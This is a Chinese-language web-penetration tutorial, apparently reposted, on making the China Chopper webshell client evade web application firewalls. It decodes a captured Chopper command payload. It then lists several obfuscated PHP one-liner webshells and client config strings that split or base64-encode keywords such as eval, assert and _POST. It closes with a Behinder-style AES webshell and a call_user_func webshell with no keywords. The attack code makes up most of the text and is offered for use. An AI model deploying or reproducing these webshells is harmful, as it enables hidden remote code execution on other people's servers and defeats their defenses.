滲透-簡單制作過waf的中國菜刀


0x01 簡單分析

web滲透中很常見的情況,用菜刀連接免殺的一句話木馬連不上,有waf

 

 

 

 

除了變形一句話木馬為免殺一句話,我們還需要來制作過waf的菜刀進行連接、

這里用的一句話為

 

來看看菜刀連接一句話的時候的包

 

x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd
W50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTsk
Uj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW
9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3Vu
YW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

把其中url編碼轉換后就很直觀了:

x=@eval(base64_decode($_POST[z0]));
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ
1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKC
JBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2d
ldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

這里可以看到z0就是執行的操作代碼了,base64解密一下z0參數的值

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

 

我們可以簡單對這里傳遞的參數、形式進行變化

 

1.去掉base64加密 把函數的z0參數用get方式傳遞

 

2.可以通過get傳遞一個 Base64_decode

 

這里把base64_decode通過get方式傳到post中,但是還是被殺

 

 通過測試發現 還需要改

 $_GET[bypass]($_POST([z0]) 中的$_POST

換成 

x=@eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=cGhwaW5mbygpOw

 

 

 

很多鍾方式都可以變化。。

 

0x02 制作過waf菜刀

 如何換成菜刀可以用的呢 打開 caidao2016 這個菜刀配置文件在外面 不用在逆向改很方便

 

 

<PHP_BASE>
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
</PHP_BASE>

 @eval($_GET[bypass](${'_P'.'OST'}[z0]));&z0=%s  中間替換成這幾句就可以過狗了 get需要

 

 11.php?bypass=Base64_decode  這樣連接 如果嫌麻煩可以換成POST

<PHP_BASE>
@eval($_POST[bypass](${'_P'.'OST'}[z0]));&z0=%s&bypass=Base64_decode
</PHP_BASE>

2. 可以把eval換成assert

<PHP_BASE>
@assert(base64_decode($_POST[v]));&v=%s
</PHP_BASE>

3.我們可以把base64_decode這個關鍵詞base64編碼 一句話來解碼 這種方法也是比較推薦的能達到0關鍵詞

<PHP_BASE>
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
</PHP_BASE>

總體來說方法很多 改菜刀端其實和改一句話一樣 甚至

<PHP_BASE>eval(base64_decode('%s'));</PHP_BASE>

 也是可以的 這里最推薦 把關鍵詞都加密

0x03  仿冰蠍思路菜刀

他的原理是

1.首先客戶端以Get形式發起帶密碼的握手請求,服務端產生隨機密鑰並寫入Session。

 

2.客戶端將源代碼,如assert|eval("phpinfo();”)利用AES加密,發送至服務端,服務端收到之后先進行AES解密,得到中間結果字符串assert|eval("phpinfo();")。

 

3.服務端利用explode函數將拆分為一個字符串數據,索引為0的元素為字符串assert,索引為1的元素為字符串eval("phpinfo();")。

 

4.以可變函數方式調用索引為0的數組元素,參數為索引為1的數組元素,即為assert("eval(\"phpinfo;\")")

 

但是菜刀不支持我們這樣改 但是可也把他的思路引進到菜刀里面 首先我們看他的一句話

 

<?phpsession_start();if (isset($_GET['pass'])){
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;}else{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);}?>

我們可以把eval 放到post里面 從而讓一句話沒有關鍵詞 簡單的寫一個

<?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
?>

這里學了php的同學很容易看懂 把接受的內容 通過explode函數分割 然后base64解密 調用call_user_func回調函數來執行

菜刀端

 |YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s 

其中base64解密內容為  assert|eval(base64_decode($_POST[id])); 


 

新型的菜刀應該先冰蠍靠近,盡量讓關鍵詞在傳輸過程中,php本身也有很多其他加密不需要擴展的

所以繞起來很方便的。新型菜刀應該要向高度自定義靠近,免殺就更加簡單

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM